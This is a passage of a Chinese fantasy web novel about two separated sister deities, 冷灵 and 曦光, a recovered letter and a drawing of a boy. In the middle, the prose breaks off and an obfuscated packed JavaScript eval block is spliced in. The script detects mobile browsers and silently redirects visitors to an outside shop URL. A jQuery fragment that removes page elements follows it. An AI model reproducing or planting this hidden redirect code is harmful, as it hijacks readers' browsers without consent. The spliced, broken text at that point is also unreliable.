老婆婆没有回答。她用手指在清水里划了几下，那些动作像是在写字，又像是在捞什么东西。
水面上的涟漪一圈一圈地扩大，渐渐变成了一些模糊的波纹。
"我只能试一试。"老婆婆说，"但你得告诉我，这封信是谁写的？"
冷灵沉默了一会儿，思考片刻，直言道："一个认识的人。"
"她是你什么人？"老婆婆问道。
"她是我……"冷灵又顿了一下。
她想说她是我姐姐，但这个词太简单了，盖不住那些年。
她又想说她是我的一半，但这句话太矫情了，她说不出口。
最后她说道："她是替我留下的人。"
老婆婆没有追问。她闭上眼睛，把羽毛浸入水中。羽毛在水里沉下去，轻轻地转了一圈。
那些模糊的涟漪忽然开始凝固，水面上浮现出一行歪歪扭扭的，金色的字迹，像墨汁滴进了清水，还没有完全散开。
"妹妹，我会等你回来。无论多久。"
冷灵看着那行字，觉得自己的胸腔里有什么东西被猛地攥住了。
那十个字她看过无数遍，在曦光的嘴角上，在她弯起的眼睛上，在她烧穿了锅底还笑嘻嘻地说补一补就行的语气里。
她从没见过曦光把这句话写下来。
但现在它摆在她面前，浮在水面上，在清水里微微摇晃，像一句还没来得及说出口的话。
"……你写了多久？"冷灵轻声问。
羽毛不说话。
水面的字迹开始慢慢变淡，像晨雾遇到太阳。
冷灵伸出手，轻轻碰了一下水面。星光从她的指尖流进去，把那行字裹住了，字迹停住了，不再消散，像一颗被冻住的露珠。
"我收到了。"她说。
她低头看着那行字，看了很久。
久到老婆婆的摊位旁边来了几只鸡，啄她脚边的米粒；久到天边从白变成橘红，又从橘红变成深蓝。
老婆婆在旁边的板凳上坐着，打了一个盹又醒了。
看到她还在看，忍不住说，"你还要看多久？那字又不跑。"
"……我知道。"
"知道还看？"
"再看一会儿。"
老婆婆摇摇头，不再管她了。
冷灵把那行字从水面上揭了下来，星光凝成一片薄薄的光膜，上面印着那十个字。
她把光膜贴在手心里，让它慢慢地融进自己的星辉里，像把一粒种子种进了土。
然后她站起来，拍了拍衣摆。"多少钱？"
"不要钱。"老婆婆说，"我解字，不解钱。"
"那解什么？"
"解故事。"老婆婆抬起灰白色的眼睛，朝她的方向"看"了一眼，"你欠我一个故事。"
冷灵想了想。"下次吧。下次路过的时候，我给你讲一个关于两根面条手臂的故事。"
老婆婆笑了一下，满脸皱纹都挤到了一起。"……行。老婆子等着。"
冷灵走了。
那根金红色的羽毛被她重新收进布袋里，和晨光发绳，星辉手环，破锅盖放在一起，这一次，它和其他东西之间不再隔着一层湿漉漉的水汽了。
她走了很久之后，老婆婆还在摊位上坐着，用那碗清水洗一根她自己都看不见的线。
"……妹妹，我会等你回来。无论多久。"她低声重复了一遍。"这妹妹，走了太久了。"
然后她摇摇头，把碗里的水泼了。
水泼在地上，渗进泥土里。那行金色的字迹在地上闪了闪，慢慢消散了。
冷灵收到那封信的时候，曦光正坐在日神殿的窗台上。
她不知道自己写给妹妹的信被丢进了忘川河，也不知道它后来被人捞起来，又被一个人用手心的星光熨平了字迹。
她只知道，今天下午她的太阳黑子多了一颗。
那是一种很奇怪的感应，像有人在她后背上贴了一片暖和的叶子，又像有人在她耳朵边轻轻说了一句她听不清的话。
她低头看了看自己的掌心，金红色的光在掌心里跳了一下。
"……嗯？"
她把手掌翻过来，又翻过去。光又跳了一下。
"你收到什么东西了？"她问自己的光。
光不回答。
但它的颜色比之前深了一些，像被什么东西染过了似的。
曦光盯着自己的掌心看了很久。然后她忽然笑了，那个笑很轻，轻到几乎看不出弧度，只有眼角微微弯了一下。
"你是不是收到我的信了？"她对着自己的掌心说，"你是不是看到那行字了？"
掌心又跳了一下。
"那你为什么不回信？"
光安静了。
"你是不是觉得，回了信就代表你想我了？"曦光把脸贴在膝盖上，金红色的光芒软软地缩在身周，像一只蜷起来的猫。
"你想我就想我呗。我又不会笑你。我早就知道你想我了。"
窗台上有一盆她自己用光养出来的小太阳花，亮橙色的，永远朝着太阳的方向开。
她伸出一根手指，戳了戳花瓣。花被戳得晃了晃，又倔强地转回去了。
"你再戳它就要生气了。"流光的声音从门口传来。她今天又来了，手里提着一小筐人间带回来的山楂，红彤彤的，像一个个小灯笼。
"我不吃。"曦光说。
"给你妹妹的。"
曦光转头看他。"……你找到她了？"
"没有。"流光把山楂放在窗台上，"但万一她来呢？"
"她不会来。"
"万一呢？"
曦光看着那筐山楂。红彤彤的，圆滚滚的，确实像她妹妹没事干的时候会在星空中画的那种圆形的小星。
"……那放那儿吧。她要是来了，我给她吃。"
流光点点头，在旁边坐下。他们两个都不说话，各自看着窗外。
夕阳正在沉下去，天庭的琉璃瓦被染成一片暖橙色，像整座宫殿都被泡进了蜂蜜里。
"她有没有回过你的信？"流光问。
"没有。"
"为什么？"
"因为她不知道我写了。"
流光顿了一下。"……什么意思？"
曦光低下头。
她把那盆小太阳花端起来，放在膝盖上，用指尖无意识地转着花盆的边缘。
"那封信被截了。我知道。忘情司的人截的。羽毛沉到忘川河底了。"
"那你？"
"我知道它沉了。"曦光打断他，"但我还是写了。因为……写的过程本身，就像把想说的话先寄出去了。她收到收不到，是另一回事。至少我说过了。"</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17808645|210759||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
>
流光看着她。
金红色的光在她身周明明灭灭的，像一盏被风吹得不太稳的灯。
他忽然觉得，这个被关在日神殿里几千年的姑娘，比她看起来要坚强得多。
"你不难过？"
"难过？"曦光说，"但难过有什么用？难过又不能让她回来。"
"那你怎么不想办法让她回来？"
曦光停了一下，然后把花盆放回窗台上，拍了拍手上的土。"我在想办法。"
"什么办法？"
"……暂时还没想出来。但我在想。"
流光沉默了一会儿，忽然从袖子里掏出了一张皱巴巴的纸。"我今天来，不只是送山楂的。"
曦光转头看他。
流光把纸展开，上面是一幅歪歪扭扭的，用炭笔画的画。画的是一个人站在榕树底下，银白色的光芒从她身上漏出来，在地上洒成一片亮斑。树的旁边蹲着一个小小的，黑色的影子。
"这是我让人间的一个探子画的。"流光说，"你妹妹几年前路过一个村子，在那儿待了不到一个时辰，然后走了。画里这个，"他指了指那个小小的黑色影子，"是你妹妹在那里遇到的一个人。一个男孩。"
曦光盯着那幅画看了很久。"……他是什么人？"
"不知道。探子只说他蹲在榕树底下，你妹妹跟他说了会儿话，给他起了一个名字。"
"起了什么名字？"
"不知道。探子不敢靠太近。"
曦光把画拿起来，凑近了看。
榕树，银白色的光，小小的黑色影子。她妹妹蹲在那个男孩旁边，侧着头，好像在说什么很认真的话。
那种姿态她太熟悉了，冷灵认真的时候，就会微微歪着头，像在数星星的排列顺序。
"她给他起名字了……"曦光轻声说，嘴角忽然弯了一下，"她给别人起名字了。她以前只给我起过名字。"
她笑了。那个笑里面没有嫉妒，只有一种原来你也会跟别人说话"的，微微带酸的欣慰。
"……她长大了。"曦光说。
流光不知道该怎么接话。
那一天余下的时间里，曦光一直在看那幅画。
她把画放在窗台上，和金红色的小太阳花摆在一起，时不时瞥一眼。
像是要把那个画面刻进心里。她不知道那个男孩是谁。
她只知道，在她不在的地方，她妹妹还在跟别人说话，给别人起名字，蹲下来，认真地看一个人的眼睛。
那就好。
只要她还愿意蹲下来跟别人说话，就说明她还没有把自己完全封起来。
"……你把那幅画留给我行吗？"曦光问。
流光点头。"本来就是给你画的。"
"谢谢。"曦光把画小心地折好，放在枕头底下，那是她放最重要的东西的地方。
那里已经有一枚碎裂的星辉手环的碎片，一根银白色的头发，以及一片从她们第一片天地带来的，已经干枯了的叶子。
她又多了一样东西。
一幅画。画上有她妹妹，还有一个她不认识的小黑点。
她不知道那个小黑点会等很多年。会变成另一个人。会再遇到她妹妹。
但她现在只是把那幅画收好，然后坐回窗台上，继续看星星。
金红色的光芒又亮了一些。